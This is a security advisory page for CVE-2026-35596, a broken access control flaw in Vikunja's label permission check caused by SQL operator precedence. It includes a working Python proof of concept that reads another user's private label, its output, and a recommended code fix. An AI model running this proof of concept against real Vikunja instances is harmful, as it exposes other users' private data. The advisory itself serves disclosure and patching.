CVE-2026-35596: Vikunja has Broken Access Control on Label Read via SQL Operator Precedence Bug

Published Apr 10, 2026
·
Updated

Summary

The hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed.

Details

The access control query at pkg/models/labelpermissions.go:85-91 uses xorm's query chain in a way that produces SQL without proper grouping:

go has, err = s.Table("labels"). Select("labeltasks."). Join("LEFT", "labeltasks", "labeltasks.labelid = labels.id"). Where("labeltasks.labelid is not null OR labels.createdbyid = ?", createdByID). Or(cond). And("labels.id = ?", l.ID). Exist(ll)

The xorm chain .Where(A OR B).Or(C).And(D) generates SQL: WHERE A OR B OR C AND D. Because SQL AND has higher precedence than OR, this evaluates as WHERE A OR B OR (C AND D). The labels.id = ? constraint (D) only binds to the project access condition (C), while labeltasks.labelid IS NOT NULL (part of A) remains unconstrained.

Any label that has at least one task association passes the IS NOT NULL check, regardless of who is requesting it.

Proof of Concept

Tested on Vikunja v2.2.2.

python import requests

TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1"

def login(u, p): return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]

def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

atoken = login("labeler", "Labeler123!") btoken = login("snooper", "Snooper123!")

labeler creates private project, label, task, and assigns label proj = requests.put(f"{API}/projects", headers=h(atoken), json={"title": "Private Project"}).json() label = requests.put(f"{API}/labels", headers=h(atoken), json={"title": "CONFIDENTIAL-REVENUE", "hexcolor": "ff0000"}).json() task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(atoken), json={"title": "Q4 revenue data"}).json() requests.put(f"{API}/tasks/{task['id']}/labels", headers=h(atoken), json={"labelid": label["id"]})

snooper reads the label from labeler's private project r = requests.get(f"{API}/labels/{label['id']}", headers=h(btoken)) print(f"GET /labels/{label['id']}: {r.statuscode}") # 200 - should be 403 if r.statuscode == 200: data = r.json() print(f"Title: {data['title']}") # CONFIDENTIAL-REVENUE print(f"Creator: {data['createdby']['username']}") # labeler

Output: GET /labels/1: 200 Title: CONFIDENTIAL-REVENUE Creator: labeler

Label IDs are sequential integers, making enumeration straightforward.

Impact

Any authenticated user can read label metadata (titles, descriptions, colors) and creator user information from any project in the instance, provided the labels are attached to at least one task. This constitutes cross-project information disclosure. The creator's username and display name are also exposed.

Recommended Fix

Use explicit builder.And/builder.Or grouping:

go has, err = s.Table("labels"). Select("labeltasks."). Join("LEFT", "labeltasks", "labeltasks.labelid = labels.id"). Where(builder.And( builder.Eq{"labels.id": l.ID}, builder.Or( builder.And(builder.Expr("labeltasks.labelid is not null"), cond), builder.Eq{"labels.createdbyid": createdByID}, ), )). Exist(ll)

--- Found and reported by aisafe.io

Other sources

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed. This vulnerability is fixed in 2.3.0.

MITRE

Affected Software

2 affected componentsFixes available
go/code.vikunja.io/api<=2.2.2
2.3.0
Vikunja Vikunja<2.3.0

Event History

Apr 10, 2026
Advisory Published
via GitHub·03:33 PM
Data Sourced
via GitHub·03:33 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·03:59 PM
Data Sourced
via MITRE·03:59 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:17 PM
RemedyDescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-35596?

CVE-2026-35596 is classified as a high severity vulnerability due to its potential to allow unauthorized label access.

2

How do I fix CVE-2026-35596?

To fix CVE-2026-35596, update Vikunja to version 2.3.0 or later to address the SQL operator precedence bug.

3

Who is affected by CVE-2026-35596?

Any authenticated users on Vikunja versions up to and including 2.2.2 are affected by CVE-2026-35596.

4

What does CVE-2026-35596 exploit?

CVE-2026-35596 exploits a broken access control vulnerability in the `hasAccessToLabel` function, allowing unauthorized label reads.

5

What type of vulnerability is CVE-2026-35596?

CVE-2026-35596 is a broken access control vulnerability caused by a SQL operator precedence bug.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203